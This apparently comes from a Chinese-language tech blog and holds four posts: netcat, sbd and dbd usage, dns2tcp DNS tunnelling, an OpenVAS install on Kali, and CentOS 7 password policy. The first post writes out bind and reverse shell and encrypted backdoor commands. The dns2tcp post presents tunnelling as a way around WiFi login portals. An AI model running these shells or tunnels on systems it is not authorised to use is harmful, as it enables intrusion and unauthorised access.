2022/10/31

nc, sbd, dbd

nc: NetCat

支援 TCP 與 UDP,可當作 server 或 client,也被稱為 TCP/IP swiss army knife。如果在某電腦執行 nc,就可以遠端遙控該電腦、讀取或下載檔案。

在 kali linux,這三個指令都是 nc

nc
nc.traditional
netcat

參數

  • -p port: 本地端 port number

  • -l: listen mode

  • -n: 使用 IP,不用 hostname

  • -t: telnet

  • -u: UDP mode

  • -v: verbose output,可重複兩次 -vv 有更詳細的 output

  • -w sec: 連線 timeout 秒數

  • -q sec: 收到 EOF 後,斷線秒數

  • -z: scan mode

port scan

# 測試 192.168.1.1 的 1~1024 port
nc -znvw2 192.168.1.1 1-1024

# 測試 UDP port
nc -uznvw2 192.168.1.1 1-1024

telnet

# 等同 telnet 192.168.1.1 80
nc -nvv 192.168.1.1 80

# 連線到 TCP 80 並發送 get-req.txt 文字內容# get-req.txt
tee get-req.txt << EOF
GET http://www.google.com/
Host: www.google.com
EOF
nc -vv www.google.com 80 < get-req.txt

# listen TCP port 80,收到連線就發送檔案內容
nc -l -p 80 < get-req.txt

# 簡易 IM,另一端可用 nc 或 telnet,連線後,可互相傳遞文字
nc -ltp 80
nc -vv localhost 80

remote sh

被控端先啟動待命,操控端連線過去

# listen TCP 8080,轉送到 bash
nc -lp 8080 -e /bin/bash
nc -vv localhost 8080

反向,操控端先啟動待命,等待被控端連線進去後,讓操控端操作

nc -lp 80

nc 192.168.1.1 80 -e cmd.exe

自動批次處理

將要執行的指令存到 cmd.txt,一次發送過去

nc -lp 80 < cmd.txt

file transfer

上傳檔案

# 先在接收方啟動 server端
nc -l -p 8080 > filename

# 再在傳送方啟動 client 端傳送資料
nc 192.168.1.157 8080 < filename

可相反下載檔案

# 先在傳送方啟動 server 端
nc -l -p 8080 < filename

# 再在接收方啟動 client 端
nc 192.168.1.1 8080 > filename

記錄

# 無窮迴圈,記錄連線 log,直到 Ctrl+C
while true; do nc -l -p 80 >> log.txt; done

sbd

是 Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP

remote sh

# 被控端
sbd -l -p 8080 -e bash -v -n

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080

加上 -k secret 密碼參數,作為加密的密碼

# 被控端
sbd -l -p 8080 -e bash -v -n -k test

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080 -k test

dbd

Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP。跟 sbd 類似

參數

  • -r n: 無限 respawn/reconnect,每次連線會暫停 n seconds。-r0 用在 re-listen after disconnect

  • -c on|off: 是否要使用內建的 AES-CBC-128 + HMAC-SHA1 加密

  • -k secret: 密碼

  • -H on|off: highlight incoming data

  • -D on|off: fork and run in background (daemonize)

dbd -l -p 8080 -v -H on

dbd -r 10 -v -H on -e bash localhost 8080

References

kali/03使用 sbd 及 dbd 创建系统安全后门.md at master · Yehnn/kali · GitHub

kali***測試(二)sbd,dbd和PowerSploit的介紹 - 台部落

kali sbd

kali dbd

kali netcat

2022/10/24

dns2tcp

dns2tcp 可透過 DNS 查詢建立資料傳輸的 tunnel。

例如在提供免費 WiFi 的場所,通常在連上 WiFi AP 後,會把打開一個網址,該網頁要求填寫帳號與密碼,然後才能透過 WiFi 上網,如果沒有帳號,再打開網址的過程中會發現,DNS 封包是被允許的,可查詢某個網域的 IP,這時候,就可利用 dns2tcp 實現上網的功能。

安裝

wget https://github.com/alex-sector/dns2tcp/archive/refs/tags/v0.5.2.tar.gz -O dns2tcp.tgz
tar zxvf dns2tcp.tgz
cd dns2tcp-0.5.2

./configure
make
make install

DNS

修改自己的 domain name server 設定,增加兩個 record

tcp    IN    NS    ns.kokome.com.tw
ns    IN    A    211.72.214.206

kokome.com.tw 的 DNS server 會產生一個新的 ns.kokome.com.tw 這個 name server 的 A record,將 ns.kokome.com.tw 轉址到 211.72.214.206。然後當有 tcp.kokome.com.tw 的 domain name 查詢時,會因為 NS 設定,把 dns 查詢轉問 ns.kokome.com.tw。

把 dns2tcp 的 server 服務安裝在 ns.kokome.com.tw

實測時發現不需要設定這個 DNS NS forward也沒關係,因為在使用 dns2tcpc 時,可直接指定 DNS server 的 IP。

設定

產生設定檔 /etc/dns2tcpd.conf,內容為

listen = 0.0.0.0
port = 53  
user = nobody  
chroot = /tmp  
domain = tcp.kokome.com.tw  
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1080,http:127.0.0.1:80 

以上面的設定來說,ssh 會轉換成連到本機的 sshd TCP Port 22,http 轉換連到本機的 TCP Port 80,socks server 轉至 TCP 1080。

當然本機需要另外安裝 httpd 與 socks server,才有辦法使用。

使用

在 tcp.kokome.com.tw 機器,用以下指令啟動 dns2tcpd,server 的部分,提供 DNS service,並將資料轉換成某個 TCP traffic

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

ssh

在另一台內網的機器,啟動 dns2tcp client,這個指令會在機器上開啟 TCP Port 8888,提供 ssh service,最後面的 server IP,就是遠端提供 tcp.kokome.com.tw DNS query 的機器的 IP

dns2tcpc -l 8888 -d 2 -r ssh -z tcp.kokome.com.tw 211.72.214.206

然後就能用 TCP 8888 連接到遠端 tcp.kokome.com.tw 的 sshd service

ssh root@127.0.0.1 -p 8888

http

在另一台內網的機器,啟動 dns2tcp client,這個指令會在機器上開啟 TCP Port 8888,提供 http service,最後面的 server IP,就是遠端提供 tcp.kokome.com.tw DNS query 的機器的 IP

dns2tcpc -c -d 1 -l 2222 -r http -z tcp.kokome.com.tw 211.72.214.206

然後就能用 browser,瀏覽網址 http://127.0.0.1:2222

References

DNS隧道之DNS2TCP實現-趣讀

dns隧道 dns2tcpd - 碼上快樂

DNS tunnel(DNS隧道)技術-DNS2tcp的使用方法及原理 | 程式前沿

打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) - Hack543

2022/10/17

Install openvas in Kali Linux

sshd

Kali Linux 安裝完成後,需要以安裝過程產生的帳號登入。如果用 sudo 指令,會一直詢問密碼,可用以下方式設定 sudo 不詢問密碼

sudo dpkg-reconfigure kali-grant-root

在畫面中選擇 Enable password-less privilege escalation

設定開機自動登入 LightDM

ref: 如何讓Linux作業系統自動登入桌面環境,而不需輸入帳號密碼? | MagicLen

sudo vi /etc/lightdm/lightdm.conf

[Seat:*]            
autologin-guest=false
autologin-user=maxkit
autologin-user-timeout=0

另外也還無法遠端連線到這台機器,要安裝 ssh server

sudo apt-get install openssh-server

sudo update-rc.d -f ssh remove
sudo update-rc.d -f ssh defaults

sudo service ssh restart

修改 /etc/ssh/sshd_config

PermitRootLogin yes

中文輸入法套件

sudo apt install fcitx5 fcitx5-chewing im-config

openvas

#sudo apt update && apt upgrade -y
sudo apt install locate curl wget
# install openvas
sudo apt install gvm*
# check postgresql、redis-server 及 gvmd 是否有啟動
sudo service --status-all 
# start and enable redis-server
sudo systemctl enable redis-server
sudo systemctl start redis-server
# start and enable postgresql
sudo systemctl enable postgresql
sudo systemctl start postgresql
# 安裝 openvas,這個步驟會跑很久
sudo gvm-setup
# check installation
sudo gvm-check-setup
## 檢查發現 redis 有問題,被要求要執行這一行指令
#sudo systemctl start redis-server@openvas.service
#sudo systemctl enable redis-server@openvas.service

# gvmd
sudo systemctl enable gvmd
sudo systemctl start gvmd

修改設定 --listen=0.0.0.0

sudo vi /lib/systemd/system/greenbone-security-assistant.service

#ExecStart=/usr/sbin/gsad --listen=127.0.0.1 --port=9392
ExecStart=/usr/sbin/gsad --listen=0.0.0.0 --port=9392 

修改 redis 設定

sudo vi /etc/redis/redis.conf
# 把這兩行 uncomment
unixsocket /var/run/redis/redis.sock
unixsocketperm 700

啟動

# 啟動 OpenVAS伺服器
sudo gvm-start
# 停止
sudo gvm-stop

建立帳號

sudo runuser -u _gvm -- gvmd --user=admin --new-password=newpassword
#sudo runuser -u _gvm -- gvmd --create-user=<新帳號> --password=<設定密碼>

網頁

https://192.168.1.19:9392/

References

雅技資訊日誌: 在Kali 2020.3 精簡環境安裝OpenVAS

Installing OpenVAS on Kali Linux - GeeksforGeeks

[Kali] 開啟 Kali Linux 上的 SSH server 服務 | EPH 的程式日記

打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) - Hack543

雅技資訊日誌: Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明

雅技資訊日誌: Kali Linux 滲透測試工具(第3版) 指令清單及勘誤表

2022/10/3

CentOS 7 帳號的密碼規則

密碼定期更新

/etc/login.defs 可設定定期更新的策略,以下是 CentOS 7 裡面該設定檔的預設值

PASS_MAX_DAYS    99999   # 密碼到期時間
PASS_MIN_DAYS    0       # 初始密碼更改時間
PASS_MIN_LEN    5       # 密碼最小長度
PASS_WARN_AGE    7       # 密碼過期提示時間

修改設定檔後,只會影響到新的帳號,如果要修改現有帳號的規則,要使用 chage 指令

-m:最少必須相隔幾天才能改變密碼,0 代表任何時候都可以更改密碼。
-M:最多必須相隔幾天才能改變密碼
-w:用戶密碼到期前,提前收到警告信息的天數。
-E:帳號到期的日期。過了這天,此帳號將不可用。
-d:上一次更改的日期。
-I:停滯時期。如果一個密碼已過期這些天,那麼此帳號將無法使用。
-l:列印當前的設置。由非特權用戶來確定他們的密碼或帳號何時過期。

example

# 查看 root 的設定
chage -l root

# 設定90 天後過期
chage -M 90 root

# 設定今天後 180 天的那一天,密碼過期
chage -E $(date -d +180days +%Y-%m-%d)

密碼複雜度

透過 PAM pwquality 模組提供這個功能,該模組替換了 CentOS6 的 pam_cracklib

相關的參數有

  • retry=N:定義登入/修改密碼失敗時,可以重試的次數;
  • difok=N:定義新密碼中必須有幾個字元要與舊密碼不同
  • minlen=N:定義使用者密碼的最小長度;
  • dcredit=N:定義使用者密碼中最多包含多少個數字;如果是負數(ex:-1) 代表至少要有一個數字
  • ucredit=N:定義使用者密碼中最多包含多少個大寫字母;如果是負數(ex:-1) 代表至少要有一個大寫字母
  • lcredit=N:定義使用者密碼中最多包含多少個小寫字母;如果是負數(ex:-1) 代表至少要有一個小寫字母
  • ocredit=N:定義使用者密碼中最多包含多少個特殊字元(除數字、字母之外);如果是負數(ex:-1) 代表至少要有一個特殊字元
  • enforce_for_root 確保即使是root使用者設定密碼,也應強制執行複雜性策略
  • minclass:最少要有幾類字元
  • maxrepeat:允許連續相同的字元的最大數目
  • maxclassrepeat:允許連續同一類的字元的最大數目

相關設定檔有兩個

/etc/pam.d/system-auth
/etc/security/pwquality.conf

可直接修改/etc/pam.d/system-auth,寫在這一行的後面,也就是當作該 module 的參數

password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type=
# 最少 8 位, ucredit=0 不需要大寫字母, ocredit=0 不需要符號
password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= minlen=8 lcredit=-1 ucredit=0 dcredit=-1 ocredit=0 enforce_for_root

比較推薦的方法,是修改設定檔 /etc/security/pwquality.conf

minlen = 8
dcredit=-1
ucredit=0
lcredit=-1
ocredit=0
enforce_for_root

可查看 manual,有設定的說明

man pam_pwquality

另外也可下指令修改 /etc/security/pwquality.conf

# 最小長度
authconfig --passminlen=8 --update
grep "^minlen" /etc/security/pwquality.conf

# 設置允許連續同一類的字元的最大數目
authconfig --passmaxclassrepeat=6 --update
grep "^maxclassrepeat" /etc/security/pwquality.conf

# 至少需要一個小寫字元
authconfig --enablereqlower --update
grep "^lcredit" /etc/security/pwquality.conf

# 至少需要一個大寫字元
authconfig --enablerequpper --update
grep "^ucredit" /etc/security/pwquality.conf

# 至少需要一個數字
authconfig --enablereqdigit --update
grep "^dcredit" /etc/security/pwquality.conf

# 至少一個特殊符號
authconfig --enablereqother --update
grep "^ocredit" /etc/security/pwquality.conf

References

CentOS7/Red-Hat密码更换周期和复杂度设置 | syxdevcode博客

CentOS 設置密碼策略 - 碼上快樂

CentOS作業系統密碼複雜度策略設定_其它_程式人生

在CentOS 7上实施密码复杂性策略_allway2的博客-CSDN博客_authtok_type

LINUX設定密碼複雜度的檔案system auth,具體需要怎麼改

Linux從零開始(11/30): 在CentOS設定密碼複雜度規則 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天

Linux 上密碼相關設定 | Chia-An Lee